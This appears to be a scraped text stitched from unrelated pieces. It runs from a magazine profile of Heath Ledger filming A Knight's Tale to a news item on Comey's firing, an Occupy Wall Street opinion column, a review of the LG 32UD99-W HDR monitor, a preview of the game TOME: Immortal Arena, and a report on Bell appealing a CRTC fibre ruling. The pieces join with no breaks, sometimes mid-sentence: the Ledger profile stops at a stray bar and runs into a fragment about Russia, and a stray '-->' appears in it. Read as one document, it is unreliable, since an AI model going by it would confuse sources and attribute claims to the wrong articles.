old-fashioned appeal. “Once every 50 years a guy like that comes along. For his age, Heath has an incredible manliness about him.” Indeed, few, if any, of the latest batch of dollish bad-boy idols can match Ledger’s effortless ability to convey masculine ease on-screen. Inside the set’s elaborate jousting arena—which is the size of two football fields—Ledger takes a practice run on his mount. Thundering toward his opponent, with clouds of dirt swirling about the horse’s flanks, he handles the 2,000-pound animal with the expertise he developed on the set of The Patriot, which called for him to ride alongside Gibson while at the same time shooting a Revolutionary War rifle with historical authenticity. “Sounds like he’s getting even more … antiquidated,” says Kentucky gun-maker Frank House, who built the long rifles for The Patriot and coached the cast on how to use them. “Heath wasn’t no dandy, sissy actor. There wasn’t none of that spoiled-brat stuff. He was very intense and serious. Very studious. Very … contained.” --> Hundreds of Czech extras, hanging rapt from the arena’s rafters, watch the proceedings below them. The crew mills about setting up a dolly shot of the joust as the rest of the cast kills time by listening to music, taking photographs, or laughing at the latest dirty joke making the rounds. Mark Addy, the sweet, plump stripper in The Full Monty, who portrays one of Ledger’s varlets in the film, and fellow Brit Rufus Sewell, the film’s villain, compare notes regarding their favorite Prague restaurants. Sewell has been on location for seven weeks now but has yet to film a scene. “It’s one of the finest experiences of not working with an actor I’ve ever had,” he says when I ask him about the young leading man. “Pseud alert here,” he then warns, alluding to “The Pseuds Corner” in Private Eye, where the satirical English fortnightly collects fatuous comments, “but the camera just relaxes on him. When the camera hits certain people, you can feel it sort of go, ‘Ah, that’s O.K. We’re in good hands here.’ Not many people have that. It makes a star.” “You can tell this is not Heath’s life,” says Shannyn Sossamon, Ledger’s love interest in the film. It is certainly not hers. Never having acted before, she was discovered spinning records at Gwyneth Paltrow’s last birthday party. “Because I D.J. in L.A., I’ve seen a lot of ‘actory’ types,” says the exotically beautiful hoyden, whose first purchase in Prague, after having saved up her per-diem money, was a new turntable. “Heath is not actory.” “I’ve never met an actor who is actory,” counters Paul Bettany, putting down a copy of Martin Amis’s Experience. Bettany, who plays a comically eloquent Geoffrey Chaucer in the movie, just finished portraying a serial killer in the film adaptation of Amis’s Dead Babies. “That’s always seemed to me to be an apocryphal concept. I mean, I’ve met actors who are wankers, but I’ve met accountants who are wankers, too. I do agree, though, that Heath is a joy to be around.… [His relaxation] comes with being given an enormous amount of confidence at a young age. There’s a certain grace in being given a lot of pressure. You’ve got no choice except to be relaxed. You don’t have to fight for anything when so many people are putting that much faith in you. A transformation occurs that has its own volition.” “Mark, darling!” the first assistant director loudly trills. Is this a fey attempt to get Addy into place for the upcoming take? Not at all. It is code the crew has cooked up for “Rolling!,” since Ledger’s massive horse, much more of a moviemaking veteran than its rider, becomes too frisky when it hears the normal warning. The set hushes. “Action!” Helgeland howls. The soundman is attempting to record only the hooves pounding against the arena’s floor, so the extras have been instructed to mime their enthusiasm, as if they were in a Cecil B. DeMille pre-talkie extravaganza. Ledger’s jousting lance breaks against his opponent’s breastplate right on cue. The extras erupt with silent fervor. “Aaaannnd … cut!” shouts Helgeland. Ledger trots his horse over to the playback monitor and pries the helmet from his head. Hollywood’s newest visage is revealed, gleaming with sweat in the late-afternoon light. Overhearing Addy and Sewell resume their epicurean discussion, Ledger bums a cigarette and offers a recommendation of his own. “And beer here is 20 cents a pint,” he says. He dismounts and clangs toward the monitor. He carefully studies his jousting technique. A crew member with 40 years’ experience leans in and whispers, “I’ve seen them come and seen them go, and this kid’s got what all the great ones have: he’s in his own damn movie. It really doesn’t matter how elaborate the set is or how talented the other actors are—in every frame the great ones are always starring in their own private film. It’s got nothing to do with being selfish. They just can’t help it.” Ledger, after a quick final puff, mounts his horse and reins it in for one more take. Before sliding his helmet back on his head, he spots Sossamon in the crowd and flashes her an Errol Flynn. “Mark, darling!” He snaps his visor shut. Only his eyes are visible. “Aaaannnd … action!”
‘Yes, he’s sexy—not traditionally handsome, but there is something there in those eyes of his. They can get incredibly compassionate,” says director Shekhar Kapur, who furnished the third bolt of lightning to strike Ledger’s nascent career when he cast him as the lead in his long-awaited follow-up to Elizabeth, a remake of Zoltán Korda’s 1939 classic, The Four Feathers. Again he will play a young man having to prove his valor in a costume epic when he goes straight from filming A Knight’s Tale to North Africa and England to begin work for Kapur. Far-flung sets have become the actor’s home. (“Suitcases,” he replies when asked where he lives.) “You can see that Heath’s a person who understands a bit more about life—and thought a bit more about it—than just being a kid with an interesting face,” says Kapur. Ledger, his eyes void of compassion as they ponder a passing party boat full of drunk German teenagers, orders a vodka tonic on the terrace of the Kampa Park restaurant on the bank of Prague’s Vltava River. He does up the third button of his suit jacket and turns up his collar. “That’s my idea of hell,” he says, pointing with his half-smoked Camel Light toward the teenagers. When he was 16, he and his closest friend, Trevor DiCarlo (who’s staying with him this summer in Prague), jumped into a car and headed for Sydney from their hometown of Perth. Usually a five-day drive over 2,500 miles of barren landscape, it took them three. “I had 69 cents in my bank account. And just enough cash from my folks to get across the country,” he says, covering his lap with one of the tasseled wool blankets the restaurant furnishes for those unaccustomed to the Czech night air. By 19—with two television series and the Australian art-house hit Two Hands behind him—he had landed in Los Angeles, where he was soon cast as the lead in 10 Things I Hate About You, the 1999 teen movie loosely based on Shakespeare’s The Taming of the Shrew, for which he received a little less than $100,000. Then things slowed down dramatically. He was offered teen movie after teen movie, but he turned them all down. “I want to keep that all my life—the choice to say no,” he says. “I’m in control of my life, not anyone in Hollywood.… I only do this because I’m having fun. The day I stop having fun, I’ll just walk away. I wasn’t going to have fun doing a teen movie again.… I don’t want to do this for the rest of my life. I don’t. I don’t even want to spend the rest of my youth doing this in this industry. There’s so much more I want to discover.” He was almost forced to make some of those discoveries before he was cast as Gabriel Martin in The Patriot. It had been more than a year since he worked in 10 Things I Hate About You, and he was flat broke. “I was hungry at times. It was my last hope. If I didn’t get the part, I was going to go back home. I had nothing. No money. No nothing.… At one point, I didn’t even want to read the script and go in and meet with them. I had come so close to so many great projects that I just had the rub taken out of me. But I went in anyway and read for the director, Roland Emmerich, and the producer, Dean Devlin, and some other people. I had two scenes to read, and was halfway through the second scene and just stopped. I said, ‘I’m sorry. This is shit. I’m wasting your time. But, more important, I’m wasting mine.’ I was so in the dumps I just didn’t give a shit. I stood up and walked out. But they must have been a little curious about my behavior, because I ended up getting called back.”
‘It was down to Heath and one other fellow,” says Mel Gibson. (It is rumored that Ryan Phillippe was the second contender.) “At first Roland wanted me to decide, but I couldn’t,” Gibson continues. “So I told him that he was the director. He should make the decision, and I would be happy with it. And I was. Heath possesses an unlikely combination: he has incredible presence, yet he has no fucking pretensions. He’s much more grounded than I was at that age, when it all started happening for me. I think he’ll handle it better than I did.” Robert Rodat, the screenwriter of Saving Private Ryan and The Patriot, has his own take on the dichotomy Gibson is getting at. “We didn’t want the character of Gabriel to be a boy,” he says. “We wanted him to be someone stepping from the dry stone of childhood to the slippery rock of adulthood. We wanted him to be straddling that line.” “Heath did blow that first audition,” remembers Emmerich, whose directing credits include Independence Day and Godzilla. “But you felt in the room, when he walked in, that everybody was kind of immediately straightening up and saying, ‘Who is this guy?’ … And he has quite an effect on women. Dean and I had a lot of women in our company. There was this thing going on with all the women rooting for Heath. Every one of them came into my office and said, ‘Please cast Heath!’ I’d go, ‘What’s wrong with you girls? It’s about acting first of all.’ But they were all in love with him.” (As his career has taken off, his private life has suffered. Having broken up with his girlfriend, Ledger is now single.) “It was a very difficult part to cast,” Devlin continues. “We needed someone who could go toe-to-toe with Mel Gibson.… On the first day of shooting, Heath was a little shaky. But by the second day he was slugging it out with Mel scene for scene. It was interesting to watch.” “In order not to hold a frame with someone, you have to be intimidated by them,” says Ledger. “Mel is so easy to be comfortable with. That first day we started shooting—it’s weird—I hadn’t been in front of a camera for over a year, and there I was with Mel Gibson.… But he helped me with every scene I did with him. It wasn’t that he sat me down and said, Hey, kid, why don’t you try this or try that. There’s a certain warmth about him. It’s subtextual, how he teaches you. Of course, it all comes down to being willing to be taught.” Ledger looks up at Prague’s moonlit Charles Bridge, its statues of grim-faced saints with their grimy backs turned to him. He lights another cigarette. “The love story in the film is really between that father and son,” he says.
Heath Andrew Ledger grew up in the racetrack pits of Western Australia. “I was very involved in motor sport and speedway racing,” says his father, 50-year-old Kim Ledger, who now runs an assortment of engineering businesses in Perth. “Heath was into go-karts for a certain time and won a few go-kart titles. So I was sort of expecting him to take that up. He was really good at field hockey as well. So you get all these pre-determined ideas. I thought he was going to be on the Olympic field-hockey team this year.” Ledger smiles at his father’s dreams. “When I was growing up, yeah, my dad put a field-hockey stick in my hand,” he says, but adds that in spite of his upbringing he’s never had the slightest interest in what’s under the hood of an automobile of any stripe. “I only recently bought my first muscle car,” he says, a bit embarrassed by the purchase. “A 1970 Ford Mustang Grande. This one is full beefcake. Bad-ass black. I saw it and drove it and felt like a man. I also have a Land Rover just to get around in. That’s my lesbian car,” he deadpans. “It’s odd, that’s why I don’t like telling people I played field hockey. It’s real big in Australia for guys. But I say I played in America, and everybody goes, ‘Oh, you girl!’ ” he says, laughing. “I went to Guildford Grammar back in Perth. It was kind of like a military school. If you did cadets, you had to wear a uniform. But I didn’t want to fight. I thought it was strange that they were teaching kids to shoot automatic weapons at 16. If you didn’t do that, they made you play sports. So I played a lot of field hockey.… And cricket. And Australian-rules football. But I played them all just to get out of cadets. I mean, who wants to shoot an automatic rifle? What the fuck was I going to use that for?” “Heath doesn’t want to squash an ant,” says his father. “He worries about everything from an insect dying onward. He’s very soft inside.… We’re the only father and son I know who hug and roll around on the floor of the airport when we meet. We’re crazy, mate. We’re huggy, touchy people.”
L edger’s father and his mother, Sally, ceased such activity when Heath was 10. “The point I got to very quickly, after my parents’ divorce, was to realize that they were just humans,” he says. “It wasn’t the death of something, but the birth of something else. What I’ve always looked for is redirection of energy and emotion, and maybe the thrust of that started there.” Ledger’s favorite saying is how he likes to “break things down” when life becomes too complicated or painful. That compartmentalization must have started when his family morphed from being a single unit into a happily segmented one. His mother, a sometime French tutor, quickly remarried after the divorce and had a daughter, Ashleigh, who is 11. His father has a three-year-old, Olivia, with a longtime girlfriend. “I think I’ve bred another one, too, out there somewhere,” Kim Ledger says rather sheepishly, then turns his attention back to his son. “Ever played chess with Heath?” he asks. “He’s always five moves ahead of everybody. Though he’s fairly laid-back about things, he’s also pretty streetwise.… He does seem to have a destiny that he’s in charge of. Once I picked him up from his Rock Eisteddfod rehearsal. We were lying in bed about one o’clock in the morning. Heath is very much into art also. He’s an arty boy. He had some of his special abstract art pinned on the walls of his room and on the ceiling. We were lying back looking at the art on the ceiling. We’d been talking for about half an hour. We’d often talk like that. I finally told him—he was about 14 or 15—he was going to have to get some sleep because he had school in the morning. He said to me, ‘Well, Dad, you’re going to have to get used to this. Because this is what I’m going to be. I’m going to be very good at it. And I’m really going to enjoy it.’ I’ve always told him, you see, that he couldn’t be good at anything unless he enjoyed it 150 percent.” “They never thought I was going to make it here,” says Ledger of America. “I mean, physically get here. One reason is that the work I did on TV in Australia was crap. My mom and dad were the first to laugh about it.” “His big break was a show called Sweat,” recalls his father. “It was about young Olympic hopefuls. He had a choice of two roles. One was the swimmer and the other was the gay bicyclist. I was thinking to myself, Yeah, he’ll choose the swimmer! I used to be a swimmer when I was younger. This’ll be great! But then he told me he chose the gay role. I went, ‘Oh, God … well, O.K.’ But his response to that was ‘Look, Dad, this is more of an acting role. So if I want to get some sort of recognition, that’s the one I should be doing.’ He wasn’t fazed by any of the other stuff. But his father was a little … in the back of your mind, you sort of think … I mean, well, if Heath ended up gay in his life, I’d still love him as much as I do right now.” “It wasn’t that painful to leave and head for Sydney,” says Ledger. “Not at that age. No matter how good your family life is, you just want out. Perth is the most isolated city in the world, but it’s beautiful. I just had to move on. It’s always been like that for me. I’ve always kept going going going going going.… I’m sure my parents were really concerned, but they were wise enough not to show it to me too much. They knew they were not |
to examine Russian interference in the 2016 presidential election after President Trump’s bombshell decision to fire FBI Director James Comey on Tuesday.
Rep. Justin Amash Justin Amash13 House Republicans who bucked Trump on emergency declaration House votes to overturn Trump's emergency declaration The Hill's 12:30 Report: First test for Trump emergency declaration MORE (R-Mich.), a member of the conservative House Freedom Caucus, said on Twitter that he is “reviewing legislation to establish an independent commission on Russia.”
The lawmaker called a paragraph in Trump's letter firing Comey “bizarre.” In that section, Trump claims Comey assured him multiple times that he wasn't under investigation.
My staff and I are reviewing legislation to establish an independent commission on Russia. The second paragraph of this letter is bizarre. https://t.co/wXeDtVIQiP — Justin Amash (@justinamash) May 9, 2017
“While I greatly appreciate you informing me, on three separate occasions, that I am not under investigation, I nevertheless concur with the judgment of the Department of Justice that you are not able to effectively lead the Bureau,” Trump wrote to Comey.
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The FBI has been for months looking at whether Moscow coordinated with anyone in Trump's campaign to influence the election in the billionaire businessman's favor. The House and Senate Intelligence committees are also investigating.Democrats and a handful of other Republicans who previously called for an independent commission or prosecutor on Russia reiterated their support for the idea on Tuesday.Critics have questioned whether Trump’s decision to fire Comey was an attempt to sway the FBI's Russia investigation, with many questioning the timing of Comey’s dismissal.How can anyone possessed of the faintest sense of social justice not thrill to the Occupy Wall Street movement now spreading throughout the country? One need not be religiously doctrinaire to recognize this as a “come to Jesus moment” when the money-changers stand exposed and the victims of their avarice are at long last offered succor.
Not that any of the protesters have gone so far as to overturn the tables of stockbrokers or whip them with cords in imitation of the cleansing of the temple, but the rhetoric of accountability is compelling. “I think a good deal of the bankers should be in jail,” one protester told New York Times columnist Andrew Ross Sorkin. That prospect has evidently aroused concern in an industry that has largely managed to escape judicial opprobrium.
“Is this Occupy Wall Street thing a big deal?” the CEO of a major bank asked Sorkin. “We’re trying to figure out how much we should be worried about all this. Is this going to turn into a personal safety problem?”
It should pose a threat, not because peaceful demonstrators will suddenly morph into vigilantes fatally damaging their cause with violent action, but rather because government prosecutors should fulfill their obligation to pursue justice and incarcerate some of the obvious perps. As Sorkin conceded, in one of the rare instances of the business press attempting to understand the protesters: “the message was clear: the demonstrators are seeking accountability for Wall Street and corporate America for the financial crisis and the growing economic inequality gap.”
Sorkin ended his account with snarky comments about the protesters using ATM machines and about the ever-admirable Code Pink founder Jodie Evans having flown a commercial airline to get across the country to the demonstration. He also offered the predictable dismissal that could be made about any genuinely spontaneous movement, that “the protesters have a myriad of grievances with no particular agenda.”
But ignore the mass media’s nitpicking and mostly derisive coverage and wonder instead why it took so long for this grass-roots movement to emerge as an alternative to the tea party, which exonerates the thieves of Wall Street. With 25 million Americans unsuccessfully looking for full-time work, 50 million experiencing mortgage foreclosure and an all-time high of 46.2 percent living in poverty, including 22 percent of all children, isn’t it logical that the faux populism of the tea party be confronted with a progressive alternative?
The Republican narrative, which the media have treated with considerable respect, blames “big government” for our ills, not when Washington bails out the banks, or feeds the maws of the military-industrial complex, but only when it might go to the aid of the victims of the financial conglomerates.
It was the Wall Street lobbyists, with the complicity of Democrats and Republicans in Congress, who caused the Great Recession by destroying a sensible regulatory system — one that had kept U.S. banking reliable since the Great Depression — and by legalizing the securitization of homes. But the Wall Street titans escaped being held accountable for the excesses of their greed: They got their lackeys in government to throw them a lifeline bailout while their victims among the unemployed and foreclosed were abandoned.
“We bailed out the banks with an understanding that there would be a restoration of lending. All there was was a restoration of bonuses” is the way Nobel Prize-winning economist Joseph Stiglitz described it in speaking to the protesters on Wall Street.
It was a thought echoed by George Soros in expressing his support for the demonstrators: “The decision not to inject capital into the banks, but to effectively relieve them of their bad assets and then allow them to earn their way out of a hole leaves the banks bumper profits and then allows them to pay bumper bonuses.”
Those bonuses are part of a practice throughout the corporate world that has far less to do with corporate performance than with the power spoils of CEOs. As The Washington Post points out, “The gap between what workers and top executives make helps explain why income inequality in the United States is reaching levels unseen since the Great Depression.” While the median pay for top corporate executives has quadrupled since the 1970s, the pay of non-supervisory workers has declined by more than 10 percent.
“Ultimately this is about power and greed, unchecked,” Jodie Evans told the Times’ Sorkin, and it is a protest that the columnist’s newspaper, along with the rest of a mainstream media that editorially enthused over the radical deregulation that unfettered Wall Street greed, should now honestly cover.Share
4K monitors have moved from exotic to mainstream over the past year, and many of our favorite models now sell for $400. Yet 4K is not the final frontier in image quality. High Dynamic Range, or HDR, is another important new feature — and it’s found on a rare few displays.
The LG 32UD99-W is one such screen. It pairs HDR10 compatibility with 4K resolution, AMD FreeSync support, and HDCP 2.2 compatibility, which together make this among the most advanced 32-inch screens on the market. Its prime competitors are the BenQ SW320 and Acer ET322QK, which also have 32-inch displays with HDR, but there’s also a handful of HDR-compatible 27-inchers available.
As you may expect, the LG 32UD99-W’s advanced feature set comes with an advanced price. You’ll have to pay $1,000 to snag this screen. That’s quite a bit, though perhaps not as expensive as it could’ve been — the BenQ SW320 sells for at least $1,200. Our review will decide if LG’s latest is its greatest, or too far ahead of its time.
Nothing but screen
Thinning display bezels have swayed monitor design towards more minimalist looks, and the LG 32UD99-W is no exception. In fact, it may be the standard-bearer. The bezels, which are less than half an inch thick on all sides, are bordered by a thin strip of silver plastic. A similarly svelte stand holds the monitor aloft, while the rear panel is glossy white. Together, it creates a subtle but futuristic look that will easily blend into most homes — though it may look a bit unusual in an office.
Bill Roberson/Digital Trends
While the stand is small, it does offer some ergonomic adjustment including height, tilt, and rotation. The stand doesn’t swivel, an option offered by some competitors. The screen itself is VESA-mount compatible, so you can swap out the stand for something more flexible, if desired.
The LG 32UD99-W doesn’t look sturdy, but it feels well-built when handled. Like most monitors, it uses plastic for most external panels, and even the stand seems to be covered with metallic-paint plastic instead of real metal. Yet that doesn’t compromise the stability of the display. The rear panel is reassuringly solid, and lends a touch of quality whenever the screen is adjusted on its stand.
Lots of connectivity, but forget the wall mount
LG offers two HDMI ports, one DisplayPort, on USB-C port, and two USB-A ports on the 32UD99-W. This is a good array of connectivity, and speaks to the display being targeted at prosumers more than office users and hardcore creatives. You can plug a laptop in through USB-C and, in doing so, charge the laptop as well as drive video to the display.
Bill Roberson/Digital Trends
All the ports are rear-facing, as well, while many competitors have ports that face down. Connecting and removing devices is much easier as a result, but this configuration will make wall-mount solutions tricky.
Joy to the joystick
All the LG’s menus are accessed through a joystick located in the middle of the display. While we generally prefer front-mounted buttons, joysticks can work when executed well –- and the LG 32UD99-W is at the top of its class.
Tapping the stick offers quick access to the most common options, including input selection and Game Mode. Enter the menu proper, though, and you’ll be greeted by a wide variety of quality adjustment options. The usual brightness and contrast options are joined by options to adjust sharpness deeper in the Picture settings.
Intense action – say, an X-Wing strafing a Star Destroyer – is more vibrant and detailed in HDR.
The Picture menu also includes color temperature adjustments, which offer a wide variety of options based on actual color temperature — not labeled presets — and precise color adjustments. Gamma is also adjustable, though it settles for preset modes instead of targeting specific gamma curves. The level of control available in the Picture menu is impressive, and a variety of calibration options are available, including those that target specific color gamuts like REC709. LG doesn’t market the 32UD99-W as a professional-grade screen, but we think its options will satisfy most photographers and digital artists.
Note, though, that almost all options are removed when HDR is turned on. That’s due to how HDR input must be handled. You can only change brightness or switch between a few pre-selected modes.
The speakers will do, in a pinch
A pair of five-watt speakers are hidden inside the LG 32UD99-W. They deliver relatively good sound for a monitor, and they’re acceptable even for use with games. Still, the internal drivers are no match for a set of $50 external speakers or halfway decent headphones.
Pre-calibration image quality
HDR10 support is the LG 32UD99-W’s headline feature, so we eagerly hooked it up to a gaming rig and fired up Star Wars Battlefront II, one of the few fully HDR-capable games currently available.
Bill Roberson/Digital Trends
The game is among the most attractive ever made even on a “normal” display, but HDR took it to a new level. High Dynamic Range support means a display can offer a greater range of contrast, usually by hitting a higher maximum level of brightness. That means intense visual sequences – like, say, an X-Wing strafing a Star Destroyer – deliver a punchier, more detailed image. Explosions show more levels of shading and more fine details, which are lost when HDR is off.
There’s more to the display than HDR10, however. It’s a 4K panel, packing in 140 pixels per inch, so it looks quite sharp for a desktop monitor. Our test equipment found the screen could deliver a maximum brightness of 360 nits, reaching 100 percent of the sRGB gamut, and 87 percent of AdobeRGB. The gamma curve value came in at 2.0, just off the ideal target of 2.2. The contrast ratio was strong, too, reaching 990:1 at maximum brightness.
We found only one item to complain about: Color accuracy. Our tests returned an average color error of 2.34. Lower is better in this test, and while that value isn’t bad, it’s not great for a monitor that retails at $1,000. The BenQ PD3200U, another recently tested 4K monitor, scored 1.23 prior to calibration. The Acer Predator XB2 also scored better, though it’s a gaming monitor that doesn’t tout color accuracy as a strength.
Still, the LG 32UD99-W was impressive at first glance, and using the monitor didn’t cause our initial thoughts to sour. Its mediocre color accuracy result is only of importance if you do color-critical work — and, as we’ll discuss in a moment, it can be fixed.
Post-calibration quality
While most people use monitors with the out-of-box settings, calibration is possible, and often necessary to achieve the best results. The LG 32UD99-W is evidence of that. It offers a wide range of settings, and they successfully compensated for the screen’s flaws.
Let’s talk color accuracy first. The pre-calibration result of 2.34 was just okay, but we quickly reduced that to a value of.96, which is excellent. That score makes the LG 32UD99-W eligible for color-critical professional work, and looks beautiful in everyday viewing.
This monitor looks spectacular after given some attention.
We also saw improvement in the gamma result, which changed from 2.0 to 2.1. That means the monitor reproduces content with a slightly darker grayscale than intended, but not drastically so. We tried to hone the monitor further using the baked-in Gamma presets, but found the monitor could hit either 2.1 or 2.3 — it was never quite perfect.
Given these results, we highly recommend calibration for this monitor. It looks spectacular after given some attention.
HDR is a quagmire on the PC
LG is proud of the 32UD99-W’s HDR10 support, and technically that claim is true. This monitor does support HDR10. Yet that doesn’t mean it can make the most of the standard. The reasons why are only partly LG’s responsibility.
LG 32UD99-W Compared To
A few items stand out in the HDR10 specification. These are the use of the Rec. 2020 color space, 10-bit color depth, and a maximum brightness value of 1,000 nits. LG’s 32UD99-W is an impressive monitor, but it doesn’t fully support these features. The brightness value is the most notable problem, because the monitor is quoted to hit a peak of 550 nits with a typical maximum of 350 nits. Our test equipment registered a maximum of 360 nits with the brightness setting turned all the way up. That’s not bad for a PC monitor, but it’s far short of the best HDR10 can deliver.
Windows 10 also causes problems for the monitor. While the operating system does support HDR, the desktop (and most apps) have problems with how they translate to HDR. Contrary to what you’d expect, they appear dimmer, less vibrant, and less accurate with HDR on than with HDR off.
We constantly had to open Windows’ settings to manually turn HDR on or off.
Movies and games that support HDR10 look brilliant, and we could see an immediately noticeable difference between having HDR10 on and having it off. Lighting looked more natural with less banding and far better detail in bright areas of scenes. Yet Windows 10 can’t discretely turn HDR on only when viewing clips or playing games that support HDR. We constantly had to open Windows’ settings to manually flip the feature when we were no longer viewing HDR video.
Gamers have it easier because games with HDR support usually include an in-game toggle. That means you don’t have to deal with Windows 10’s system-wide setting. Star Wars Battlefront II and Forza Motorsport 7 look stunning on the LG 32UD99-W, and Samsung’s CF791 is the only display we’ve tested that can best the LG’s wow-factor. Not many games support HDR on PC, however, so the value will depend on what you play.
Warranty information
LG offers a one-year parts and labor warranty on the 32UD99-W. A three-year warranty is more common, so LG’s terms are not generous.
Our Take
The LG 32UD99-W is a beautiful display with many strengths, but its let down by the confusing state of HDR in Windows 10, and a general lack of HDR-compatible content on PC.
Is there a better alternative?
The LG 32UD99-W undercuts the price of top-tier 32-inch displays like the HP Dreamcolor Z32x and Dell Ultrasharp UP3216Q. On the other hand, it’s much more expensive than Acer’s ET322QK, which is only $500. We haven’t tested Acer’s entry, so we can’t say if its price cut comes with a cut in quality. You might be tempted by the HDR support on this monitor, but there a bunch of other made-for-gaming displays that get you more bang for your buck, and there’s other attractive HDR monitors available.
Big ultrawide monitors like the Dell Ultrasharp U3818DW aren’t much more expensive than this LG. While they aren’t 4K and don’t have HDR, they deliver an immersive experience that a conventional monitor can’t match.
How long will it last?
Monitors generally last a long time, and the LG 32UD99-W’s inclusion of HDR gives it an edge in longevity. The short warranty is a disappointment, however.
Should you buy it?
You should only buy the LG 32UD99-W if you’re intrigued by HDR, particularly in games that you know support it. This monitor does support FreeSync, and titles like Star Wars Battlefront II look gorgeous on it.
Everyone else should wait until Windows’ HDR support improves, or HDR-compatible content becomes more common.As the MOBA genre expands and more companies are attempting to break into the industry, there’s even more need for innovation and a separation from the games that started it all. The most recent MOBA I’ve had the pleasure of trying out is TOME: Immortal Arena. I got my first hands-on experience at PAX Prime while discussing the game with Kixeye Creative Director Shawn Carnes. Having experience working with League of Legends and World of Warcraft, Carnes is definitely a veteran in the industry and has an idea on how to separate a game from the pack.
“Everyone’s starting to make different choices and redefine what a MOBA means. Some things that we like to think about are different ways to approach the MOBA genre. DOTA and League are great games, but they use a standard paradigm,” said Carnes.
MOBA LIGHT
If DOTA 2 is an extra espresso, venti mocha Frappuccino then TOME: Immortal Arena is an Iced Skinny Latte. There’s nothing necessarily wrong with having less calories, but TOME is definitely a quicker, more simplistic MOBA with a focus on faster games and less complications. Instead of a multi-tiered, complex item system there are only three base items and one additional upgrade tier. On average games last about 12 minutes each, last hitting isn’t necessary, guardians heal in lane and items can be purchased anywhere on the map. The idea behind this is to keep players in the action as long as possible and to minimize unnecessary micromanaging.
Currently there’s only one map with two lanes and matches are played 3vs3. This setup generally allows for one solo lane, but roaming and ganking from the duo lane is essential to maintain map control. There are also plans to eventually add a 5vs5 and a 7vs7 map, but these scenarios are planned to be a deviation from the standard Summoner’s Rift style. It’s also likely that a third tier of items will be added to coincide with the introduction of these larger, more complex maps. This lack of items doesn’t necessarily make the game shallow because each item does a very specific thing, instead of having a ton of items with only slight deviations.
Combat in TOME is very typical MOBA with point and click to move or attack and four skills, including one ultimate type skill that unlocks at level 6. There are a few major differences though. First off, there are only four item slots. This isn’t a huge deal in 3vs3 matches because most games end by the time the final item is finished, but during the unusual extra-long matches there will likely be a lot of unspent gold; hopefully the number of items per character will be increased with the larger maps.
Another difference is that skills level up automatically based on character level, instead of the player choosing. This lack of customization could bother a lot of veterans to the genre who like to maximize specific skills first, but it also eases the burden of new players trying to learn which skills to max in what particular order. The most significant difference, however, is the fact that towers have a limited supply of ammunition. When creeps or guardians push into an enemy tower it has to expend ammo to repel them and when it runs out it has to regenerate before it can shoot again. This creates additional strategies and allows teams to focus on pushing the minion waves instead of engaging enemy guardians directly. It also prevents the game from being delayed more than necessary.
“With limited ammo it gives us the opportunity to shorten matches. It’s relatively easy with unlimited mana to just basically turtle in a tower. Limited ammo makes any engagement at a tower have a serious consequence to it,” Carnes said.
Instead of using a complex rune system, TOME rewards players for leveling up individual guardians and the domains they belong to. Players can equip one relic, a guardian specific upgrades, and two blessings that provide a more general bonus. Each of the six domains provides three blessings and 1500 platinum on the last two levels. The first level up of every guardian grants 200 devotion, the second a special dance, then three relics and finally a unique skin. This system does make builds a bit more unique instead of just having straight stat upgrades.
CONVENIENCE AND CUSTOMIZATION
While TOME does feature a payment model similar to many other MOBAs, it does have a few additional features. Platinum is the premium currency, which can be purchased for around 1500 for $10, and can be used to buy guardians, skins or boosts. This model is about on par with similar titles and most guardians can be purchased for 750-1350 platinum, and a 7-day Experience, Devotion, and Favor boost is 1500 platinum. There’s nothing that can be bought with premium currency that can’t be earned in game, and the time required to unlock guardians, relics and blessings isn’t terribly long.
It’s estimated that unlocking the newer champions will require between 20-30 hours of gameplay, but this can be decreased based on win percentage. Additionally, TOME has recently released quests to help players obtain guardians and devotion. The tutorial unlocks a tank type guardian, Khar, and the first three quests unlock Orlon, Auberon, and Serafine, which rounds out to one of each class archetype; players who previously unlocked these characters will be rewarded with bonus devotion.
“At the end of the day we do need to make some money, but I really dig the approach that we only charge for convenience and customization,” said Carnes.
I’d have to agree with Carnes and there isn’t a necessity to dump tons of money into TOME to stay competitive. With the free guardians provided by weekly rotations and the others that are unlocked by quests there should always be one available character that most players will enjoy using. TOME might not be the most complex or diverse MOBA on the market right now, but it still has a lot of room to develop. It’s also a great game to break newcomers into the genre or for players who want to jump into a quick 10-15 minute match instead of devoting hours at a time.
Related: DeveloperCompetition among providers could make ultra-high-speed fibre internet packages more affordable and give consumers more choice. But there likely won't be much of it anytime soon if Bell successfully appeals a ruling from Canada's telecom regulator.
The Canadian Radio-television and Telecommunications Commission ruled in July that large telecom companies such as Bell must sell wholesale access to their fibre networks to independent internet providers. Those independent ISPs could then offer customers competing internet packages, theoretically forcing everyone to offer better prices and packages in order to win customers.
Bell is appealing the ruling to both the CRTC and directly to cabinet via a petition to the Governor in Council. That alarms small internet providers and Open Media, a Vancouver-based group that advocates for Canadian internet users.
The future of the internet is fibre and if small players don't have fair access, they're going to die. - Josh Tabish, Open Media
"The future of the internet is fibre and if small players don't have fair access, they're going to die," said Josh Tabish, Open Media's campaigns manager. He said the loss of small ISPs would raise Canada's already high internet prices and reduce choices available to customers. Open Media has filed a submission to the CRTC opposing Bell's appeal.
Fibre to the home, which is being installed in cities around the world, could boost internet speeds to over 1,000 megabits per second, compared to top speeds of around 50 or 100 megabits per second for current DSL and cable technology respectively. Fibre would better enable people to make use of a variety of emerging technologies from ultra-high-definition video to virtual reality to a huge range of connected appliances and devices at the same time.
Less than two million homes in Canada had access to a fibre connection at the time of an April 2015 presentation from the Fiber to the Home Council Americas. Since then, Bell, Rogers and Telus have all announced plans to bring fibre to more Canadian homes.
Bell threatens to reduce fibre installation
But Bell said it will scale back on installation if the CRTC ruling stands, suggesting many Canadians would have to wait much longer to get access to fibre at all.
In order to support the business case for building fibre, Bell said, the company needs customers to subscribe not just to internet, but also TV and home phone services.
Fibre internet would better enable people to make use of a variety of emerging technologies, like virtual reality. (Jae C. Hong/Associated Press)
Independent ISPs that buy access to Bell's fibre networks will pay only a single wholesale fee per customer. The CRTC has not yet set the rates that Bell must charge for wholesale access. But Bell expects them to be lower than the prices it currently charges its retail customers. Bell charges $142.85 per month for its gigabit fibe service, which promises speeds of up to 940 megabits per second.
It is impossible for the CRTC to set a wholesale rate that adequately compensates those who invest in fibre-to-the-home networks for their investments. - Bell
Selling wholesale access "can never compensate for the three retail revenue streams that are lost as a result of mandated access, and on which our business case for investing in fibre-to-the-home is based," Bell said in its petition.
"It is impossible for the CRTC to set a wholesale rate that adequately compensates those who invest in fibre-to-the-home networks for their investments."
Bell argues that small ISPs should build their own fibre networks.
